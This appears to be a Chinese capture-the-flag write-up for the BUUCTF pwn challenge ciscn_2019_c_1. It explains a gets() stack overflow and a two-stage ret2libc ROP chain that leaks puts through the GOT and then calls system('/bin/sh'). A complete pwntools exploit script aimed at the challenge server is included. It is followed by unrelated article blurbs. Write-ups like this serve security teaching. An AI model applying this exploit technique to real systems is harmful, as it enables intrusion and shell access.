【BUUCTF-PWN】11-ciscn_2019_c_1

news2024/12/28 19:49:34

64位,开启了NX保护
在这里插入图片描述

执行效果如下:
在这里插入图片描述

main函数
在这里插入图片描述

encrypt()函数
gets()函数存在栈溢出,但是中间部分代码会对传入的字符串做加密处理
中间的部分是对字符串进行处理,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密
在这里插入图片描述

溢出距离为0x50+8
在这里插入图片描述

这里没有找到可用的后门函数,需要利用libc
在这里插入图片描述
在这里插入图片描述

思路参考:[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
这一类题目的基本做法
1、利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。
2、程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
3、得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

溢出思路如下:buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客
首先应将s空间进行泄露,0x50+覆盖rdp的值,即 0x50+8 的数据量进行第一层覆盖
再利用pop_rdi;ret语句进行将下一层值推入寄存器rdi中作为参数,本次payload构建目的在于利用puts函数泄露本身的真实地址,从而获取Libc基址,所以将puts_got作为参数,运行函数地址为puts_plt,即用puts来打印出Puts_got的地址,最后再返回start函数重新运行,在后续中再次利用libc的基址找出system以及“bin/sh”的地址,从而构建第二次payload,要注意的是由于靶机是Ubuntu,所以要构建栈平衡,第二次payload需要加入ret。
在这里插入图片描述

ROPgadget 查找pop_rdi;ret地址:

ROPgadget  --binary ciscn_2019_c_1 --only "pop|ret"

或者:

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

在这里插入图片描述
在这里插入图片描述

ROPgadget 查找pop_rdi;ret地址:

ROPgadget  --binary ciscn_2019_c_1 --only "ret"

在这里插入图片描述

(1)利用gets()函数栈溢出,借助puts()函数将puts()的真实装载地址打印出来,利用LibcSearcher库得到libc版本

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)          	#pop_rdi;ret地址
payload+=p64(puts_got)   		#设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt)   		#调用puts函数,输出的是puts的got表地址
payload+=p64(main)       		#设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
                        		#让它返回到main函数,这样我们才可以再一次利用输入点构造rop 

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))    	# 接收程序返回的地址
                                                  			# lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr)  			# 利用LibcSearcher模块找到匹配的libc版本        

(2)通过puts()实际装载地址和libc中函数地址差值算出偏移量,从而得到程序中其他函数(system、binsh)的地址

offset=puts_addr-libc.dump('puts')    	 #算出偏移量
binsh=offset+libc.dump('str_bin_sh')   	#偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

(3)构造ROP执行system(‘/bin/sh’)命令

payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)                #   ret地址,为了构建栈平衡
payload+=p64(pop_rdi)            #   pop_rdi;ret地址
payload+=p64(binsh)              # /bin/sh的地址
payload+=p64(system)             # system的地址

总的exp如下:

from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',26531)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
print (hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

运行结果如下:
执行过程中会匹配到两个libc版本,这里分别手动选择两个都试一下
在这里插入图片描述

第一个libc会直接报错退出
在这里插入图片描述

第二个libc可以成功连接打通:(但好像不稳定,第一次连接后执行命令没反应,后面执行又没问题了)
在这里插入图片描述

关于pop_rdi;ret的解释
在这里插入图片描述

如何利用pop_rdi;ret构造ROP:
在这里插入图片描述
在这里插入图片描述

参考:
[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
BUUCTF ciscn_2019_c_1 题解-CSDN博客
buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1896876.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

煤矿安全生产新利器!电力无线测温技术助力保障安全

煤矿变电所作为矿山电力系统的重要组成部分,承担着电能输送与分配的任务,它们的好坏直接影响煤矿的正常生产及安全运营, 煤矿环境复杂多变,高温、高压、潮湿等因素交织在一起,对电气设备的正常运转构成了巨大威胁。尤其…

什么是数字化产科管理平台?

什么是数字化产科管理平台? 数字化产科管理平台是为医院产科量身定制的信息管理系统,旨在提高医院产科的服务质量和管理效率。该平台全面覆盖了孕妇从怀孕开始到生产结束以及产后42天以内的一系列医院保健服务信息。以下是数字产科管理平台的详细介绍&a…

图书商城系统java项目ssm项目jsp项目java课程设计java毕业设计

文章目录 图书商城系统一、项目演示二、项目介绍三、部分功能截图四、部分代码展示五、底部获取项目源码(9.9¥带走) 图书商城系统 一、项目演示 图书商城系统 二、项目介绍 语言: Java 数据库:MySQL 技术栈:SpringS…

Go基础知识

目标 简单介绍一下 GO 语言的诞生背景,使用场景,目前使用方案简单介绍一下 GO的使用,GO的基础语法,简单过一下一些GO的语言例子着重介绍一下GO的特性,为什么大家都使用GO语言,GO的内存结构、为什么都说GO快…

小蜜蜂WMS与小蜜蜂WMS对接集成根据条件获取客户信息列表(分页)连通新增客户信息(小蜜蜂读写测试)

小蜜蜂WMS与小蜜蜂WMS对接集成根据条件获取客户信息列表(分页)连通新增客户信息(小蜜蜂读写测试) 接通系统:小蜜蜂WMS 天津市小蜜蜂计算机技术有限公司(acbee,TianJinACBEEComputerTechnologyCo.,Ltd)成立于…

如何选择合适的滑动变阻器?

滑动变阻器是可以改变电阻值的电子元件,广泛应用于各种电子设备和电路中。选择合适的滑动变阻器对于保证电路的正常工作和提高设备的性能具有重要意义。以下是选择滑动变阻器时需要考虑的几个关键因素: 1. 电阻范围:滑动变阻器的电阻范围是指…

【基于R语言群体遗传学】-7-遗传变异(genetic variation)

一些新名词 Continuous time: 连续时间,是指不间断流动的时间,不以单位时间形式出现。 Diffusion: 扩散,是指粒子从高浓度区域向低浓度区域的被动净移动。 Discrete time: 离散时间,是指被划分为单位的时间,例如每个…

【总线】AXI4第八课时:介绍AXI的 “原子访问“ :独占访问(Exclusive Access)和锁定访问(Locked Access)

大家好,欢迎来到今天的总线学习时间!如果你对电子设计、特别是FPGA和SoC设计感兴趣,那你绝对不能错过我们今天的主角——AXI4总线。作为ARM公司AMBA总线家族中的佼佼者,AXI4以其高性能和高度可扩展性,成为了现代电子系统中不可或缺的通信桥梁…

空间数据采集与管理:为什么选择ArcGISPro和Python?

你还在为找不到合适的数据而苦恼吗?你还在面对大量数据束手无策,不知如何处理吗?对于从事生产和科研的人员来说,空间数据的采集与管理是地理信息系统(GIS)和空间分析领域的关键环节。通过准确高效地采集和管…

数据库、创建表、修改表

一、数据库 1、登陆数据库 2、创建数据库zoo 3、修改数据库zoo字符集为gbk 4、选择当前数据库为zoo 5、查看创建数据库zoo信息 6、删除数据库zoo 二、创建表 1、创建一个名称为db_system的数据库 2、在该数据库下创建两张表,具体要求如下 员工表 user…

2024年洗地机哪个牌子好?内行人最建议这4个:清洁力口碑公认都不错

在当代生活中,洗地机可以称得上是一款必备“神器”,劳累的清洁、繁忙的时间、漫天纷飞的宠物毛发,都是家庭清洁面前的一座座大山。而洗地机的出现,完美解决了这些问题,既节约出了很多时间,又达到了很好的清…

检索增强生成RAG系列7--RAG提升之高级阶段

系列5中讲到会讲解3个方面RAG的提升,它们可能与RAG的准确率有关系,但是更多的它们是有其它用途。本期来讲解第三部分:高级阶段。之所以说是高级阶段,可能是不好归一,而且实现起来相对于前面来说可能更为复杂。 目录 1…

在Ubuntu上安装VNC服务器教程

Ubuntu上安装VNC服务器方法:按照root安装TeactVnc,随后运行vncserver输入密码,安装并打开RickVNC客户端,输入服务器的IP,最后连接输入密码即可。 VNC或虚拟网络计算,可让您连接到远程Linux / Unix服务器的…

如何在 Odoo 16 中继承和更新现有邮件模板

在本文中,让我们看看如何在 Odoo 16 中继承和编辑现有邮件模板。我们必须这样做才能对现有模板的内容进行任何调整或更新。让我们考虑一个在会计模块中更新邮件模板的示例。 单击“account.move”模型中的“发送并打印”按钮后,将打开上述向导。在这里,我们将进行更改。从向…

【遇坑笔记】Node.js 开发环境与配置 Visual Studio Code

【遇坑笔记】Node.js 开发环境与配置 Visual Studio Code 前言node.js开发环境配置解决pnpm 不是内部或外部命令的问题(pnpm安装教程)解决 pnpm : 无法加载文件 C:\Program Files\nodejs\pnpm.ps1,因为在此系统上禁止运行脚本。 vscode 插件开…

植物大战僵尸杂交版V2.1+修改器+融合版

植物大战僵尸杂交版v2.1 新增新植物,全新模式与玩法! 内含窗口放大工具与修改器 主播同款游戏,下载使用即可! 链接: https://pan.baidu.com/s/1k1BkDDgAtVILAEpHBNsZNw?pwdn81t 提取码: n81t

基于Java中的SSM框架实现野生动物公益保护系统项目【项目源码+论文说明】计算机毕业设计

基于Java中的SSM框架实现野生动物公益保护系统演示 摘要 本系统按照网站系统设计的基本流程,遵循系统开发生命周期法和结构化方法,基于Java语言设计并实现了野生动物公益保护系统。该系统基于浏览器/服务器模式,采用JSP技术,后台…

nginx的匹配及重定向

一、nginx的匹配: nginx中location的优先级和匹配方式: 1.精确匹配:location / 对字符串进行完全匹配,必须完全符合 2.正则匹配:location ^~ ^~ 前缀匹配,以什么为开头 ~区分大小写的匹配 ~* 不区分…

内衣迷你洗衣机什么牌子好?四款亲测表现出色内衣洗衣机安利

相信不少小伙伴都跟我一样。一方面,认为内裤、袜子与大件的上衣、裤子放一块清洗,会感觉很不卫生,而且穿在身上也不安心。但是另一方面,本身又很懒惰,也不想自己用手洗,不但经常会遗漏一些污渍,…

探索智能合约在医疗健康领域的革新应用

随着区块链技术的发展,智能合约作为其重要应用之一,在医疗健康领域展示了巨大的潜力和革新性。智能合约是一种基于区块链的自动化执行协议,它可以在无需中介的情况下执行和验证合同。在医疗健康领域,智能合约不仅简化了数据管理和…